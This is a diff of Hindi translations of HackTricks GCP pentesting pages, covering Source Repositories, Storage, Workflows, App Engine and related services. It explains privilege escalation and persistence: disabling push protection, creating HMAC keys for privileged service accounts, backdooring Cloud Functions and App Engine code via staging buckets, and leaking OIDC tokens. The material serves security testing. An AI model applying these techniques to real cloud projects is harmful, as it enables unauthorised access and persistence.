**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
**.**
@@ -18,12 +18,12 @@ gcloud source repos clone <repo-name> --project=<project-uniq-name>
```
### `source.repos.update`
इस अनुमति के साथ एक प्रमुख **`gcloud source repos clone <repo>`** के साथ क्लोन किए गए रिपॉजिटरी के अंदर कोड लिखने में सक्षम होगा। लेकिन ध्यान दें कि यह अनुमति कस्टम भूमिकाओं से संलग्न नहीं की जा सकती, इसलिए इसे पूर्वनिर्धारित भूमिका जैसे दिया जाना चाहिए:
इस अनुमति के साथ एक प्रिंसिपल **`gcloud source repos clone <repo>`** के साथ क्लोन किए गए रिपॉजिटरी के अंदर कोड लिखने में सक्षम होगा। लेकिन ध्यान दें कि यह अनुमति कस्टम भूमिकाओं से संलग्न नहीं की जा सकती, इसलिए इसे पूर्वनिर्धारित भूमिका के माध्यम से दिया जाना चाहिए जैसे:
- मालिक
- संपादक
- स्रोत रिपॉजिटरी प्रशासक (`roles/source.admin`)
- स्रोत रिपॉजिटरी लेखक (`roles/source.writer`)
- Owner
- Editor
- Source Repository Administrator (`roles/source.admin`)
- Source Repository Writer (`roles/source.writer`)
लिखने के लिए बस एक नियमित **`git push`** करें।
@@ -33,7 +33,7 @@ gcloud source repos clone <repo-name> --project=<project-uniq-name>
### Secret access
यदि हमलावर के पास **गुप्तों तक पहुंच** है जहाँ टोकन संग्रहीत हैं, तो वह उन्हें चुरा सकेगा। गुप्त तक पहुँचने के तरीके के बारे में अधिक जानकारी के लिए देखें:
यदि हमलावर के पास **गुप्तों तक पहुंच** है जहाँ टोकन संग्रहीत हैं, तो वह उन्हें चुरा सकता है। गुप्त तक पहुँचने के तरीके के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
gcp-secretmanager-privesc.md
@@ -41,33 +41,33 @@ gcp-secretmanager-privesc.md
### Add SSH keys
यह **Source Repository प्रोजेक्ट में ssh कुंजी जोड़ना संभव है** वेब कंसोल में। यह **`/v1/sshKeys:add`** पर एक पोस्ट अनुरोध करता है और इसे [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys) पर कॉन्फ़िगर किया जा सकता है।
यह संभव है कि **Source Repository प्रोजेक्ट में ssh keys जोड़ी जाएं** वेब कंसोल में। यह **`/v1/sshKeys:add`** पर एक पोस्ट अनुरोध करता है और इसे [https://source.cloud.google.com/user/ssh_keys](https://source.cloud.google.com/user/ssh_keys) पर कॉन्फ़िगर किया जा सकता है।
एक बार जब आपकी ssh कुंजी सेट हो जाती है, तो आप एक रिपॉजिटरी तक पहुँच सकते हैं:
```bash
git clone ssh://username@domain.com@source.developers.google.com:2022/p/<proj-name>/r/<repo-name>
```
And then use **`git`** commands are per usual.
और फिर **`git`** कमांड का उपयोग सामान्य रूप से करें।
### Manual Credentials
### मैनुअल क्रेडेंशियल्स
यह मैन्युअल क्रेडेंशियल्स बनाने के लिए संभव है ताकि Source Repositories तक पहुंचा जा सके:
Source Repositories तक पहुँचने के लिए मैनुअल क्रेडेंशियल्स बनाना संभव है:
<figure><img src="../../../images/image (324).png" alt=""><figcaption></figcaption></figure>
पहले लिंक पर क्लिक करने से आपको [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3) पर ले जाया जाएगा
पहले लिंक पर क्लिक करने से आप [https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform\&state\&authuser=3](https://source.developers.google.com/auth/start?scopes=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform&state&authuser=3) पर पहुँचेंगे
जो **Oauth प्राधिकरण प्रॉम्प्ट** को प्रदर्शित करेगा ताकि **Google Cloud Development** तक पहुप्रदान की जा सके। इसलिए आपको या तो **उपयोगकर्ता के क्रेडेंशियल्स** की आवश्यकता होगी या इसके लिए **ब्राउज़र में एक खुला सत्र** होना चाहिए।
जो **Oauth प्राधिकरण प्रॉम्प्ट** को प्रदर्शित करेगा ताकि **Google Cloud Development** तक पहुमिल सके। इसलिए आपको या तो **उपयोगकर्ता के क्रेडेंशियल्स** की आवश्यकता होगी या इसके लिए **ब्राउज़र में एक खुला सत्र** होना चाहिए।
यह आपको एक पृष्ठ पर भेजेगा जिसमें **एक bash स्क्रिप्ट निष्पादित करने के लिए** और **`$HOME/.gitcookies`** में एक git कुकी कॉन्फ़िगर करने के लिए है।
यह आपको एक पृष्ठ पर भेजेगा जिसमें **एक bash स्क्रिप्ट निष्पादित करने** और **`$HOME/.gitcookies`** में एक git कुकी कॉन्फ़िगर करने के लिए है।
<figure><img src="../../../images/image (323).png" alt=""><figcaption></figcaption></figure>
स्क्रिप्ट को निष्पादित करने के बाद आप git clone, push... का उपयोग कर सकते हैं और यह काम करेगा।
स्क्रिप्ट निष्पादित करने के बाद आप git clone, push... का उपयोग कर सकते हैं... और यह काम करेगा।
### `source.repos.updateProjectConfig`
इस अनुमति के साथ, यह संभव है कि Source Repositories की डिफ़ॉल्ट सुरक्षा को अक्षम किया जा सके ताकि प्राइवेट कीज़ वाले कोड को अपलोड न किया जा सके:
इस अनुमति के साथ, Source Repositories की डिफ़ॉल्ट सुरक्षा को अक्षम करना संभव है ताकि प्राइवेट कीज़ वाले कोड को अपलोड न किया जा सके:
```bash
gcloud source project-configs update --disable-pushblock
```
@@ -19,7 +19,7 @@
### `storage.objects.setIamPolicy`
आपको **इस अनुभाग के पिछले परिदृश्यों में से किसी का दुरुपयोग करने** की अनुमति दे सकते हैं।
आपको **इस अनुभाग के पिछले परिदृश्यों का दुरुपयोग करने** की अनुमति देने के लिए अनुमति दे सकते हैं।
### **`storage.buckets.setIamPolicy`**
@@ -31,7 +31,7 @@
### `storage.hmacKeys.create`
Cloud Storage की "इंटरऑपरेबिलिटी" विशेषता, जो **AWS S3 जैसे क्रॉस-क्लाउड इंटरैक्शन** के लिए डिज़ाइन की गई है, **सेवा खातों और उपयोगकर्ताओं के लिए HMAC कुंजी बनाने** में शामिल है। एक हमलावर इसका लाभ उठा सकता है **उच्च विशेषाधिकार वाले सेवा खाते के लिए HMAC कुंजी उत्पन्न करके**, इस प्रकार **Cloud Storage के भीतर विशेषाधिकार बढ़ाना**। जबकि उपयोगकर्ता से संबंधित HMAC कुंजी केवल वेब कंसोल के माध्यम से पुनः प्राप्त की जा सकती हैं, दोनों एक्सेस और गुप्त कुंजी **सदा के लिए सुलभ** रहती हैं, जिससे संभावित बैकअप एक्सेस स्टोरेज की अनुमति मिलती है। इसके विपरीत, सेवा खात से जुड़े HMAC कुंजी API-सुलभ होते हैं, लेकिन उनकी एक्सेस और गुप्त कुंजी निर्माण के बाद पुनः प्राप्त नहीं की जा सकती, जिससे निरंतर पहुँच के लिए जटिलता क एक स्तरड़त है।
Cloud Storage की "इंटरऑपरेबिलिटी" विशेषता, जो **AWS S3 के साथ क्रॉस-क्लाउड इंटरैक्शन** के लिए डिज़ाइन की गई है, में **सेवा खातों और उपयोगकर्ताओं के लिए HMAC कुंजी का निर्माण** शामिल है। एक हमलावर इसका लाभ उठा सकता है **उच्च विशेषाधिकारों के साथ सेवा खाते के लिए HMAC कुंजी उत्पन्न करके**, इस प्रकार **Cloud Storage के भीतर विशेषाधिकार बढ़ाना**। जबकि उपयोगकर्ता से संबंधित HMAC कुंजी केवल वेब कंसोल के माध्यम से पुनः प्राप्त की जा सकती हैं, दोनों एक्सेस और गुप्त कुंजी **सदा के लिए सुलभ** रहती हैं, संभावित बैकअप एक्सेस स्टोरेज की अनुमति देती है। इसके विपरीत, सेवा खात से जुड़े HMAC कुंजी API-सुलभ हैं, लेकिन उनकी एक्सेस और गुप्त कुंजी निर्माण के बाद पुनः प्राप्त नहीं की जा सकती, निरंतर पहुँच के लिए जटिलता क एक परतड़त है।
```bash
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
@@ -80,7 +80,7 @@ Another exploit script for this method can be found [here](https://github.com/Rh
### Cloud Functions
- Cloud Functions का कोड स्टोरेज में संग्रहीत होता है और जब भी एक नया संस्करण बनाया जाता है, कोड बकेट में पुश किया जाता है और फिर नए कंटेनर का निर्माण इस कोड से किया जाता है। इसलिए, **नए संस्करण के निर्माण से पहले कोड को ओवरराइट करना क्लाउड फ़ंक्शन को मनमाना कोड निष्पादित करने के लिए संभव बनाता है**
- Cloud Functions का कोड स्टोरेज में संग्रहीत होता है और जब भी एक नया संस्करण बनाया जाता है, तो कोड बकेट में पुश किया जाता है और फिर इस कोड से नया कंटेनर बनाया जाता है। इसलिए, **नए संस्करण के बनने से पहले कोड को ओवरराइट करना संभव है ताकि क्लाउड फ़ंक्शन मनमाना कोड निष्पादित कर सके**
**आप इस हमले का PoC इस रिपॉजिटरी में पा सकते हैं:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
@@ -90,9 +90,9 @@ AppEngine संस्करण एक बकेट के अंदर कु
_ध्यान दें कि इस बकेट को पूर्व-टेकओवर करना संभव नहीं है क्योंकि GCP उपयोगकर्ताओं को appspot.com डोमेन नाम का उपयोग करके बकेट बनाने के लिए अधिकृत नहीं किया गया है।_
हालांकि, इस बकेट पर पढ़ने और लिखने की पहुंच के साथ, यह App Engine संस्करण से जुड़े SA के लिए विशेषाधिकार बढ़ाना संभव है बकेट की निगरानी करके और जब भी कोई परिवर्तन किया जाता है (नया संस्करण), नए संस्करण को यथाशीघ्र संशोधित करना। इस तरह, इस कोड से बनाए गए कंटेनर में बैकडोर कोड निष्पादित होगा।
हालांकि, इस बकेट पर पढ़ने और लिखने की पहुंच के साथ, यह App Engine संस्करण से जुड़े SA के लिए विशेषाधिकार बढ़ाना संभव है बकेट की निगरानी करके और जब भी कोई परिवर्तन किया जाता है (नया संस्करण), नए संस्करण को यथाशीघ्र संशोधित करना। इस तरह, इस कोड से बनाया गया कंटेनर बैकडोर कोड निष्पादित करेगा।
उल्लेखित हमला कई अलग-अलग तरीकों से किया जा सकता है, सभी की शुरुआत `staging.<project-id>.appspot.com` बकेट की निगरानी से होत है:
उल्लेखित हमला कई अलग-अलग तरीकों से किया जा सकता है, इनमें से सभी `staging.<project-id>.appspot.com` बकेट की निगरानी करके शुरू होत है:
- AppEngine संस्करण का पूरा नया कोड एक अलग और उपलब्ध बकेट में अपलोड करें और **`manifest.json` फ़ाइल को नए बकेट नाम और उनके sha1 हैश के साथ तैयार करें**। फिर, जब बकेट के अंदर एक नया संस्करण बनाया जाता है, तो आपको केवल `manifest.json` फ़ाइल को संशोधित करना है और दुर्भावनापूर्ण फ़ाइल अपलोड करनी है।
- एक संशोधित `requirements.txt` संस्करण अपलोड करें जो **दुर्भावनापूर्ण निर्भरताओं के कोड का उपयोग करेगा और `manifest.json`** फ़ाइल को नए फ़ाइल नाम, URL और इसके हैश के साथ अपडेट करेगा।
@@ -102,7 +102,7 @@ _ध्यान दें कि इस बकेट को पूर्व-ट
### GCR
- **Google Container Registry** बकेट के अंदर छवियों को संग्रहीत करता है, यदि आप **न बकेट्स में लिख सकते हैं** तो आप **उन बकेट्स के चलने के स्थान पर आगे बढ़ने में सक्षम हो सकते हैं।**
- **Google Container Registry** बकेट के अंदर छवियों को संग्रहीत करता है, यदि आप **न बकेट्स में लिख सकते हैं** तो आप **बाद में उन बकेट्स तक lateral move कर सकते हैं जहां ये बकेट्स चल रहे हैं।**
- GCR द्वारा उपयोग किया जाने वाला बकेट एक URL के समान होगा `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (शीर्ष स्तर के उपडोमेन [यहां](https://cloud.google.com/container-registry/docs/pushing-and-pulling) निर्दिष्ट हैं)।
> [!TIP]
@@ -12,7 +12,7 @@
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
मेरी जानकारी के अनुसार, यह संभव नहीं है कि एक शेल प्राप्त किया जाए जिसमें उस मेटाडेटा एंडपॉइंट तक पहुंच हो जिसमें उस Workflow से जुड़े SA के क्रेडेंशियल्स हो। हालांकि, Workflow के अंदर प्रदर्शन करने के लिए क्रियाओं को जोड़कर SA की अनुमतियों का दुरुपयोग करना संभव है।
मेरी जानकारी के अनुसार, यह संभव नहीं है कि एक शेल प्राप्त किया जाए जिसमें उस Workflow से जुड़े SA के SA क्रेडेंशियल्स वाला मेटाडेटा एंडपॉइंट तक पहुंच हो। हालांकि, Workflow के अंदर प्रदर्शन करने के लिए क्रियाओं को जोड़कर SA की अनुमतियों का दुरुपयोग करना संभव है।
कनेक्टर्स की दस्तावेज़ीकरण ढूंढना संभव है। उदाहरण के लिए, यह [**Secretmanager कनेक्टर का पृष्ठ**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)** है।** साइड बार में कई अन्य कनेक्टर्स मिल सकते हैं।
@@ -40,7 +40,7 @@ gcloud workflows deploy <workflow-name> \
```
यदि आपको `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist` जैसी त्रुटि मिलती है, तो बस **एक मिनट प्रतीक्षा करें और फिर से प्रयास करें**
यदि आपके पास वेब एक्सेस नहीं है, तो एक वर्कफ़्लो को ट्रिगर करना और उसकी कार्यान्वयन को देखना संभव है:
यदि आपके पास वेब एक्सेस नहीं है, तो आप निम्नलिखित के साथ एक Workflow को ट्रिगर और उसके निष्पादन को देख सकते है:
```bash
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
@@ -64,7 +64,7 @@ gcloud workflows executions describe projects/<proj-number>/locations/<location>
[**दस्तावेज़ों के अनुसार**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) यह संभव है कि कार्यप्रवाह चरणों का उपयोग किया जाए जो OAuth या OIDC टोकन के साथ HTTP अनुरोध भेजेंगे। हालाँकि, [Cloud Scheduler](gcp-cloudscheduler-privesc.md) के मामले की तरह, Oauth टोकन के साथ HTTP अनुरोध को होस्ट `.googleapis.com` पर होना चाहिए।
> [!CAUTION]
> इसलिए, यह **संभव है कि OIDC टोकन को उपयोगकर्ता द्वारा नियंत्रित HTTP एंडपॉइंट को इंगित करके लीक किया जाए** लेकिन **OAuth** टोकन को लीक करने के लिए आपको उस सुरक्षा के लिए **बायपास** की आवश्यकता होगी। हालाँकि, आप अभी भी **SA की ओर से कार्य करने के लिए किसी भी GCP API से संपर्क कर सकते हैं** या तो कनेक्टर्स या OAuth टोकन के साथ HTTP अनुरोधों का उपयोग करके।
> इसलिए, यह **संभव है कि OIDC टोकन को उपयोगकर्ता द्वारा नियंत्रित HTTP एंडपॉइंट** को इंगित करके लीक किया जाए, लेकिन **OAuth** टोकन को लीक करने के लिए आपको उस सुरक्षा के लिए **बायपास** की आवश्यकता होगी। हालाँकि, आप अभी भी **SA की ओर से कार्य करने के लिए किसी भी GCP API से संपर्क कर सकते हैं** या तो कनेक्टर्स या OAuth टोकन के साथ HTTP अनुरोधों का उपयोग करके।
#### Oauth
```yaml
@@ -92,6 +92,6 @@ audience: OIDC_AUDIENCE
```
### `workflows.workflows.update` ...
इस अनुमति के साथ `workflows.workflows.create` के बजाय, एक पहले से मौजूद वर्कफ़्लो को अपडेट करना और वही हमले करना संभव है।
इस अनुमति के साथ `workflows.workflows.create` के बजाय, एक पहले से मौजूद वर्कफ़्लो को अपडेट करना और समान हमले करना संभव है।
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,9 +4,9 @@
## [AI Platform](https://cloud.google.com/sdk/gcloud/reference/ai-platform/) <a href="#reviewing-ai-platform-configurations" id="reviewing-ai-platform-configurations"></a>
Google [**AI Platform**](https://cloud.google.com/ai-platform/) **मशीन लर्निंग प्रोजेक्ट्स** के लिए एक और "**सर्वरलेस**" पेशकश है
Google [**AI Platform**](https://cloud.google.com/ai-platform/) एक और "**serverless**" पेशकश है **machine learning projects** के लिए
यहाँ कुछ क्षेत्र हैं जहाँ आप मॉडल और नौकरियों जैसी दिलचस्प जानकारी के लिए देख सकते हैं।
यहाँ कुछ क्षेत्र हैं जहाँ आप मॉडल और नौकरियों जैसी दिलचस्प जानकारी देख सकते हैं।
```bash
# Models
gcloud ai-platform models list
@@ -4,15 +4,15 @@
## Basic Information
Google Cloud Platform (GCP) में, API कुंजी एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **बिना किसी प्रिंसिपल के एक एप्लिकेशन की पहचान करती है**। इन्हें **Google Cloud APIs** तक पहुँचने के लिए उपयोग किया जाता है जो उपयोगकर्ता संदर्भ की आवश्यकता नहीं होती। इसका मतलब है कि इन्हें अक्सर उन परिदृश्यों में उपयोग किया जाता है जहाँ एप्लिकेशन अपने स्वयं के डेटा तक पहुँच रहा है न कि उपयोगकर्ता डेटा तक।
Google Cloud Platform (GCP) में, API keys एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **बिना किसी प्रिंसिपल के एक एप्लिकेशन की पहचान करती है**। इन्हें **Google Cloud APIs** तक पहुँचने के लिए उपयोग किया जाता है जो उपयोगकर्ता संदर्भ की आवश्यकता नहीं होती। इसका मतलब है कि इन्हें अक्सर उन परिदृश्यों में उपयोग किया जाता है जहाँ एप्लिकेशन अपने स्वयं के डेटा तक पहुँच रहा है न कि उपयोगकर्ता डेटा तक।
### Restrictions
आप **API कुंजी पर प्रतिबंध लागू कर सकते हैं** ताकि सुरक्षा बढ़ सके। उदाहरण के लिए, आप कुंजी को **केवल कुछ IP पते, वेब, एंड्रॉइड ऐप, iOS ऐप** द्वारा उपयोग करने के लिए प्रतिबंधित कर सकते हैं, या इसे GCP के भीतर **कुछ APIs या सेवाओं** तक सीमित कर सकते हैं।
आप **API keys पर प्रतिबंध लागू कर सकते हैं** ताकि सुरक्षा बढ़ सके। उदाहरण के लिए, आप कुंजी को **केवल कुछ IP पते, वेब, एंड्रॉइड ऐप, iOS ऐप** द्वारा उपयोग करने के लिए प्रतिबंधित कर सकते हैं, या इसे GCP के भीतर **कुछ APIs या सेवाओं** तक सीमित कर सकते हैं।
### Enumeration
यह संभव है कि आप **API कुंजी के प्रतिबंध को देख सकें** (जिसमें GCP API एंडपॉइंट्स का प्रतिबंध शामिल है) क्रियाओं की सूची या वर्णन का उपयोग करके:
यह संभव है कि आप **API key के प्रतिबंध को देख सकें** (जिसमें GCP API endpoints का प्रतिबंध शामिल है) क्रियाओं की सूची या विवरण का उपयोग करके:
```bash
gcloud services api-keys list
gcloud services api-keys describe <key-uuid>
@@ -4,14 +4,14 @@
## Basic Information <a href="#reviewing-app-engine-configurations" id="reviewing-app-engine-configurations"></a>
Google Cloud Platform's (GCP) App Engine एक **मजबूत, सर्वरलेस प्लेटफॉर्म है जो बड़े पैमाने पर वेब अनुप्रयोगों के विकास और होस्टिंग के लिए तैयार किया गया है**। इस प्लेटफॉर्म का डिज़ाइन विकास प्रक्रिया को सरल बनाने और अनुप्रयोगों के प्रबंधन को बढ़ाने पर केंद्रित है। GCP के App Engine की प्रमुख विशेषताएँ और लाभ हैं:
Google Cloud Platform's (GCP) App Engine एक **मजबूत, सर्वरलेस प्लेटफॉर्म है जो बड़े पैमाने पर वेब अनुप्रयोगों के विकास और होस्टिंग के लिए तैयार किया गया है**। इस प्लेटफॉर्म का डिज़ाइन विकास प्रक्रिया को सरल बनाने और अनुप्रयोगों के प्रबंधन को बढ़ाने पर केंद्रित है। GCP के App Engine की प्रमुख विशेषताएँ और लाभ हैं:
1. **सर्वरलेस आर्किटेक्चर**: App Engine स्वचालित रूप से बुनियादी ढाँचे को संभालता है, जिसमें सर्वर प्रावधान, कॉन्फ़िगरेशन और स्केलिंग शामिल हैं। यह डेवलपर्स को कोड लिखने पर ध्यान केंद्रित करने की अनुमति देता है बिना अंतर्निहित हार्डवेयर की चिंता किए।
2. **स्वचालित स्केलिंग**: App Engine आपके अनुप्रयोग को प्राप्त ट्रैफ़िक की मात्रा के जवाब में स्वचालित रूप से स्केल कर सकता है। यह बढ़ते ट्रैफ़िक को संभालने के लिए स्केल करता है और जब ट्रैफ़िक कम होता है तो इसे कम करता है, जिससे लागत और प्रदर्शन का अनुकूलन होता है।
3. **भाषा और रनटाइम समर्थन**: यह लोकप्रिय प्रोग्रामिंग भाषाओं जैसे Java, Python, Node.js, Go, Ruby, PHP, और .NET का समर्थन करता है। आप अपने अनुप्रयोगों को मानक या लचीले वातावरण में चला सकते हैं। मानक वातावरण अधिक प्रतिबंधात्मक है लेकिन विशिष्ट भाषाओं के लिए अत्यधिक अनुकूलित है, जबकि लचीला वातावरण अधिक अनुकूलन की अनुमति देता है।
4. **एकीकृत सेवाएँ**: App Engine कई अन्य GCP सेवाओं के साथ एकीकृत होता है, जैसे Cloud SQL, Cloud Storage, Cloud Datastore, और अधिक। यह एकीकरण क्लाउड-आधारित अनुप्रयोगों की आर्किटेक्चर को सरल बनाता है।
5. **संस्करण और ट्रैफ़िक विभाजन**: आप आसानी से अपने अनुप्रयोग के कई संस्करणों को तैनात कर सकते हैं और फिर A/B परीक्षण या क्रमिक रोलआउट के लिए उनके बीच ट्रैफ़िक विभाजित कर सकते हैं।
6. **अनुप्रयोग अंतर्दृष्टि**: App Engine अंतर्निहित सेवाएँ प्रदान करता है जैसे लॉगिंग, उपयोगकर्ता प्रमाणीकरण, और अनुप्रयोगों की निगरानी और प्रबंधन के लिए डेवलपर उपकरणों का एक सूट।
5. **संस्करण और ट्रैफ़िक विभाजन**: आप अपने अनुप्रयोग के कई संस्करणों को आसानी से तैनात कर सकते हैं और फिर A/B परीक्षण या क्रमिक रोलआउट के लिए उनके बीच ट्रैफ़िक विभाजित कर सकते हैं।
6. **अनुप्रयोग अंतर्दृष्टि**: App Engine लॉगिंग, उपयोगकर्ता प्रमाणीकरण, और अनुप्रयोगों की निगरानी और प्रबंधन के लिए डेवलपर उपकरणों का एक सूट जैसे अंतर्निहित सेवाएँ प्रदान करता है
7. **सुरक्षा**: यह अनुप्रयोग संस्करणन, सुरक्षित कनेक्शनों के लिए SSL/TLS प्रमाणपत्र, और पहचान और पहुँच प्रबंधन जैसी अंतर्निहित सुरक्षा सुविधाएँ प्रदान करता है।
### Firewall
@@ -22,7 +22,7 @@ Google Cloud Platform's (GCP) App Engine एक **मजबूत, सर्व
### SA
इन Apps द्वारा उपयोग किया जाने वाला डिफ़ॉल्ट सेवा खाता **`<proj-name>@appspot.gserviceaccount.com`** है जिसमें परियोजना पर **संपादक** भूमिका है और APP Engine उदाहरण के भीतर SAs **क्लाउड-प्लेटफ़ॉर्म स्कोप (अन्य के बीच) के साथ चलते हैं।**
इन Apps द्वारा उपयोग किया जाने वाला डिफ़ॉल्ट सेवा खाता **`<proj-name>@appspot.gserviceaccount.com`** है जिसमें परियोजना पर **Editor** भूमिका है और APP Engine उदाहरण के अंदर SAs **क्लाउड-प्लेटफ़ॉर्म स्कोप (अन्य के बीच) के साथ चलते हैं।**
### Storage
@@ -32,26 +32,26 @@ Google Cloud Platform's (GCP) App Engine एक **मजबूत, सर्व
<figure><img src="../../../images/image (82).png" alt=""><figcaption></figcaption></figure>
**`staging.<proj-id>.appspot.com`** से **`ae`** फ़ोल्डर के अंदर, **प्रत्येक संस्करण के लिए एक फ़ोल्डर मौजूद है** जिसमें **स्रोत कोड** फ़ाइलें और **`manifest.json`** फ़ाइल है जो **App के घटकों का वर्णन करती है**:
**`ae`** फ़ोल्डर के अंदर `staging.<proj-id>.appspot.com` से, **प्रत्येक संस्करण के लिए एक फ़ोल्डर मौजूद है** जिसमें **स्रोत कोड** फ़ाइलें और **`manifest.json`** फ़ाइल है जो **App के घटकों का वर्णन करती है**:
```json
{"requirements.txt":{"sourceUrl":"https://storage.googleapis.com/staging.onboarding-host-98efbf97812843.appspot.com/a270eedcbe2672c841251022b7105d340129d108","sha1Sum":"a270eedc_be2672c8_41251022_b7105d34_0129d108"},"main_test.py":{"sourceUrl":"https://storage.googleapis.com/staging.onboarding-host-98efbf97812843.appspot.com/0ca32fd70c953af94d02d8a36679153881943f32","sha1Sum":"0ca32fd7_0c953af9_4d02d8a ...
```
### Containers
वेब ऐप अंततः **एक कंटेनर के अंदर निष्पादित होगा** और **कोड बिल्ड** का उपयोग कंटेनर बनाने के लिए किया जाता है।
वेब ऐप अंततः **एक कंटेनर के अंदर निष्पादित होगा** और **Code Build** का उपयोग कंटेनर बनाने के लिए किया जाता है।
### URLs & Regions
**डिफ़ॉल्ट** वेब पृष्ठ URL **`<project-uniq-name>.appspot.com`** में प्रदर्शित होगा, हालांकि पुराने संस्करणों का URL थोड़ा अलग होगा, जैसे **`https://20240117t001540-dot-<project-uniq-name>.uc.r.appspot.com`** (प्रारंभिक टाइमस्टैम्प को नोट करें)।
यह लग सकता है कि प्रति क्षेत्र केवल 1 ऐप इंजन वेब एप्लिकेशन को तैनात करना संभव है, लेकिन **`app.yml`** में **`service: <servicename>`** निर्दिष्ट करना संभव है और एक नई सेवा (एक नया वेब) बनाना संभव है। इस नए वेब के लिए URL का प्रारूप होगा **`<servicename>-dot-<project-uniq-name>.appspot.com`**।
यह लग सकता है कि प्रति क्षेत्र केवल 1 ऐप इंजन वेब एप्लिकेशन तैनात करना संभव है, लेकिन **`app.yml`** में **`service: <servicename>`** निर्दिष्ट करना संभव है और एक नई सेवा (एक नया वेब) बनाना संभव है। इस नए वेब के लिए URL का प्रारूप होगा **`<servicename>-dot-<project-uniq-name>.appspot.com`**।
### Enumeration
> [!CAUTION]
> हर बार जब आप ऐप में एक नया कोड अपलोड करते हैं, **एक नया संस्करण बनाया जाता है**। **सभी संस्करण संग्रहीत होते हैं** और उनके पास एक **URL होता है जिससे उन्हें एक्सेस किया जा सकता है**। इसलिए पुराने संस्करण के कोड को संशोधित करना **एक महान स्थायी तकनीक** हो सकता है।
> हर बार जब आप ऐप में एक नया कोड अपलोड करते हैं, **एक नया संस्करण बनाया जाता है**। **सभी संस्करण संग्रहीत होते हैं** और उनके पास **उन्हें एक्सेस करने के लिए एक URL होता है**। इसलिए पुराने संस्करण के कोड को संशोधित करना **एक महान स्थायी तकनीक** हो सकता है।
क्लाउड फ़ंक्शंस के साथ, **ऐप्लिकेशन के रन-टाइम पर पर्यावरण चर के माध्यम से एक्सेस किए गए रहस्यों पर निर्भर होने की संभावना है**। ये चर एक **`app.yaml`** फ़ाइल में संग्रहीत होते हैं जिसे निम्नलिखित तरीके से एक्सेस किया जा सकता है:
Cloud Functions की तरह, **ऐप्लिकेशन के रन-टाइम पर पर्यावरण चर के माध्यम से एक्सेस किए गए रहस्यों पर निर्भर होने की संभावना है**। ये चर एक **`app.yaml`** फ़ाइल में संग्रहीत होते हैं जिसे निम्नलिखित तरीके से एक्सेस किया जा सकता है:
```bash
# List the apps
gcloud app services list
@@ -98,7 +98,7 @@ gcloud app ssl-certificates describe <name>
../gcp-unauthenticated-enum-and-access/gcp-app-engine-unauthenticated-enum.md
{{#endref}}
### पोस्ट शोषण
### पोस्ट एक्सप्लोइटेशन
{{#ref}}
../gcp-post-exploitation/gcp-app-engine-post-exploitation.md
@@ -4,28 +4,28 @@
## Basic Information
Google Cloud Artifact Registry एक पूरी तरह से प्रबंधित सेवा है जो आपको **अपने सॉफ़्टवेयर आर्टिफैक्ट्स क प्रबंधन, भंडारण और सुरक्ष** करने की अनुमति देती है। यह मूल रूप से **बिल्ड निर्भरताओं** के लिए एक भंडार है, जैसे कि **Docker** छवियाँ, **Maven**, npm पैकेज, और अन्य प्रकार के आर्टिफैक्ट्स। इसका **सामान्यत: CI/CD पाइपलाइनों में उपयोग किया जाता है** जो सॉफ़्टवेयर विकास प्रक्रिया के दौरान उत्पन्न आर्टिफैक्ट्स को स्टोर और संस्करणित करता है।
Google Cloud Artifact Registry एक पूरी तरह से प्रबंधित सेवा है जो आपको **अपने सॉफ़्टवेयर आर्टिफैक्ट्स क प्रबंधित, स्टोर और सुरक्षित** करने की अनुमति देती है। यह मूल रूप से **बिल्ड निर्भरताओं को स्टोर करने** के लिए एक रिपॉजिटरी है, जैसे कि **Docker** इमेज, **Maven**, npm पैकेज, और अन्य प्रकार के आर्टिफैक्ट्स। इसका **सामान्यत: CI/CD पाइपलाइनों में उपयोग किया जाता है** जो सॉफ़्टवेयर विकास प्रक्रिया के दौरान उत्पन्न आर्टिफैक्ट्स को स्टोर और संस्करणित करता है।
Artifact Registry की प्रमुख विशेषताएँ शामिल हैं:
1. **Unified Repository**: यह **कई प्रकार के आर्टिफैक्ट्स** का समर्थन करता है, जिससे आप Docker छवियों, भाषा पैकेज (जैसे Java का Maven, Node.js का npm), और अन्य प्रकार के आर्टिफैक्ट्स के लिए एकल भंडार रख सकते हैं, जिससे सभी आर्टिफैक्ट्स के लिए सुसंगत पहुँच नियंत्रण और एकीकृत दृश्य सक्षम होता है।
1. **Unified Repository**: यह **कई प्रकार के आर्टिफैक्ट्स** का समर्थन करता है, जिससे आप Docker इमेज, भाषा पैकेज (जैसे Java का Maven, Node.js का npm), और अन्य प्रकार के आर्टिफैक्ट्स के लिए एकल रिपॉजिटरी रख सकते हैं, जिससे सभी आर्टिफैक्ट्स के लिए सुसंगत पहुँच नियंत्रण और एकीकृत दृश्य प्राप्त होता है।
2. **Fully Managed**: एक प्रबंधित सेवा के रूप में, यह अंतर्निहित बुनियादी ढाँचे, स्केलिंग, और सुरक्षा का ध्यान रखता है, जिससे उपयोगकर्ताओं के लिए रखरखाव का बोझ कम होता है।
